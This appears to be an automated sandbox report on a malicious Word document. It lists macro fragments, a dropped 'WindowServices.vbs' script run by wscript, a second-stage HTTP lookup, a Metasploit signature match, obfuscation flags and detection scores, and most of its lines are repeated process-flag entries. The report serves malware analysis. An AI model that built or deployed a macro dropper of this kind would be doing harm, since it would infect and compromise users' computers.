Source: 1KaTo6P18Z.doc	OLE, VBA macro line: Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (lpvDest As Any, lpvSource As Any, ByVal cbCopy As LongPtr)
Source: 1KaTo6P18Z.doc	OLE, VBA macro line: Private Declare PtrSafe Function WideCharToMultiByte Lib "kernel32" (ByVal CodePage As Long, ByVal dwFlags As Long, ByVal lpWideCharStr As LongPtr, ByVal cchWideChar As Long, lpMultiByteStr As Any, ByVal cchMultiByte As Long, ByVal lpDefaultChar As LongPtr, ByVal lpUsedDefaultChar As LongPtr) As Long
Source: 1KaTo6P18Z.doc	OLE, VBA macro line: Private Declare PtrSafe Function MultiByteToWideChar Lib "kernel32" (ByVal CodePage As Long, ByVal dwFlags As Long, lpMultiByteStr As Any, ByVal cchMultiByte As Long, ByVal lpWideCharStr As LongPtr, ByVal cchWideChar As Long) As Long
Source: 1KaTo6P18Z.doc	OLE, VBA macro line: Private Declare PtrSafe Function FormatMessage Lib "kernel32" Alias "FormatMessageA" (ByVal dwFlags As Long, ByVal lpSource As LongPtr, ByVal dwMessageId As Long, ByVal dwLanguageId As Long, ByVal lpBuffer As String, ByVal nSize As Long, ByVal Args As LongPtr) As Long
Source: 1KaTo6P18Z.doc	OLE, VBA macro line: Private Declare Function WideCharToMultiByte Lib "kernel32" (ByVal CodePage As Long, ByVal dwFlags As Long, ByVal lpWideCharStr As LongPtr, ByVal cchWideChar As Long, lpMultiByteStr As Any, ByVal cchMultiByte As Long, ByVal lpDefaultChar As LongPtr, ByVal lpUsedDefaultChar As LongPtr) As Long
Source: 1KaTo6P18Z.doc	OLE, VBA macro line: Private Declare Function MultiByteToWideChar Lib "kernel32" (ByVal CodePage As Long, ByVal dwFlags As Long, lpMultiByteStr As Any, ByVal cchMultiByte As Long, ByVal lpWideCharStr As LongPtr, ByVal cchWideChar As Long) As Long
Source: 1KaTo6P18Z.doc	OLE, VBA macro line: Private Declare Function FormatMessage Lib "kernel32" Alias "FormatMessageA" (ByVal dwFlags As Long, ByVal lpSource As LongPtr, ByVal dwMessageId As Long, ByVal dwLanguageId As Long, ByVal lpBuffer As String, ByVal nSize As Long, ByVal Args As LongPtr) As Long
Source: 1KaTo6P18Z.doc	OLE, VBA macro line: vbsFilePath = Environ("USERPROFILE") & "\Documents\WindowServices.vbs"
Source: 1KaTo6P18Z.doc	OLE, VBA macro line: Set shell = CreateObject("WScript.Shell")
Source: ~WRD0000.tmp.0.dr	OLE, VBA macro line: Private Declare PtrSafe Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (lpvDest As Any, lpvSource As Any, ByVal cbCopy As LongPtr)
Source: ~WRD0000.tmp.0.dr	OLE, VBA macro line: Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (lpvDest As Any, lpvSource As Any, ByVal cbCopy As LongPtr)
Source: ~WRD0000.tmp.0.dr	OLE, VBA macro line: Private Declare PtrSafe Function WideCharToMultiByte Lib "kernel32" (ByVal CodePage As Long, ByVal dwFlags As Long, ByVal lpWideCharStr As LongPtr, ByVal cchWideChar As Long, lpMultiByteStr As Any, ByVal cchMultiByte As Long, ByVal lpDefaultChar As LongPtr, ByVal lpUsedDefaultChar As LongPtr) As Long
Source: ~WRD0000.tmp.0.dr	OLE, VBA macro line: Private Declare PtrSafe Function MultiByteToWideChar Lib "kernel32" (ByVal CodePage As Long, ByVal dwFlags As Long, lpMultiByteStr As Any, ByVal cchMultiByte As Long, ByVal lpWideCharStr As LongPtr, ByVal cchWideChar As Long) As Long
Source: ~WRD0000.tmp.0.dr	OLE, VBA macro line: Private Declare PtrSafe Function FormatMessage Lib "kernel32" Alias "FormatMessageA" (ByVal dwFlags As Long, ByVal lpSource As LongPtr, ByVal dwMessageId As Long, ByVal dwLanguageId As Long, ByVal lpBuffer As String, ByVal nSize As Long, ByVal Args As LongPtr) As Long
Source: ~WRD0000.tmp.0.dr	OLE, VBA macro line: Private Declare Function WideCharToMultiByte Lib "kernel32" (ByVal CodePage As Long, ByVal dwFlags As Long, ByVal lpWideCharStr As LongPtr, ByVal cchWideChar As Long, lpMultiByteStr As Any, ByVal cchMultiByte As Long, ByVal lpDefaultChar As LongPtr, ByVal lpUsedDefaultChar As LongPtr) As Long
Source: ~WRD0000.tmp.0.dr	OLE, VBA macro line: Private Declare Function MultiByteToWideChar Lib "kernel32" (ByVal CodePage As Long, ByVal dwFlags As Long, lpMultiByteStr As Any, ByVal cchMultiByte As Long, ByVal lpWideCharStr As LongPtr, ByVal cchWideChar As Long) As Long
Source: ~WRD0000.tmp.0.dr	OLE, VBA macro line: Private Declare Function FormatMessage Lib "kernel32" Alias "FormatMessageA" (ByVal dwFlags As Long, ByVal lpSource As LongPtr, ByVal dwMessageId As Long, ByVal dwLanguageId As Long, ByVal lpBuffer As String, ByVal nSize As Long, ByVal Args As LongPtr) As Long
Source: ~WRD0000.tmp.0.dr	OLE, VBA macro line: vbsFilePath = Environ("USERPROFILE") & "\Documents\WindowServices.vbs"
Source: ~WRD0000.tmp.0.dr	OLE, VBA macro line: Set shell = CreateObject("WScript.Shell")

Microsoft Office drops suspicious files

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File created: C:\Users\user\Documents\WindowServices.vbs

Jump to behavior

Office process queries suspicious COM object (likely to drop second stage)

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\InProcServer32

Jump to behavior

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\SysWOW64\wscript.exe

COM Object queried: XML HTTP HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{F6D90F16-9C73-11D3-B32E-00C04F990BB4}

Jump to behavior

Source: 1KaTo6P18Z.doc	OLE, VBA macro line: Private Sub Document_Open()
Source: ~WRD0000.tmp.0.dr	OLE, VBA macro line: Private Sub Document_Open()

Source: 1KaTo6P18Z.doc	OLE indicator, VBA macros: true
Source: ~WRD0000.tmp.0.dr	OLE indicator, VBA macros: true

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\up[1].txt, type: DROPPED

Matched rule: Msfpayloads_msf_9 date = 2017-02-09, hash1 = e408678042642a5d341e8042f476ee7cef253871ef1c9e289acf0ee9591d1e81, author = Florian Roth, description = Metasploit Payloads - file msf.war - contents, reference = Internal Research

Source: classification engine

Classification label: mal100.expl.evad.winDOC@4/9@1/1

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File created: C:\Users\user\Desktop\~$aTo6P18Z.doc

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Temp\{3DFC3AEC-9390-4D15-9420-2CFEB5C4008A} - OProcSessId.dat

Jump to behavior

Source: 1KaTo6P18Z.doc	OLE indicator, Word Document stream: true
Source: ~WRD0000.tmp.0.dr	OLE indicator, Word Document stream: true

Source: 1KaTo6P18Z.doc	OLE document summary: title field not present or empty
Source: ~WRD0000.tmp.0.dr	OLE document summary: title field not present or empty

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

Process created: C:\Windows\SysWOW64\wscript.exe C:\Windows\SysWOW64\wscript.exe "C:\Users\user\Documents\WindowServices.vbs"

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 1KaTo6P18Z.doc	Virustotal: Detection: 54%
Source: 1KaTo6P18Z.doc	ReversingLabs: Detection: 42%

Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /Automation -Embedding
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process created: C:\Windows\SysWOW64\wscript.exe C:\Windows\SysWOW64\wscript.exe "C:\Users\user\Documents\WindowServices.vbs"
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process created: C:\Windows\SysWOW64\wscript.exe C:\Windows\SysWOW64\wscript.exe "C:\Users\user\Documents\WindowServices.vbs"	Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: ncryptsslp.dll	Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dll

Jump to behavior

Data Obfuscation

Document contains an embedded VBA with many GOTO operations indicating source code obfuscation

Source: 1KaTo6P18Z.doc	Stream path 'Macros/VBA/Module3' : High number of GOTO operations
Source: ~WRD0000.tmp.0.dr	Stream path 'Macros/VBA/Module3' : High number of GOTO operations

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
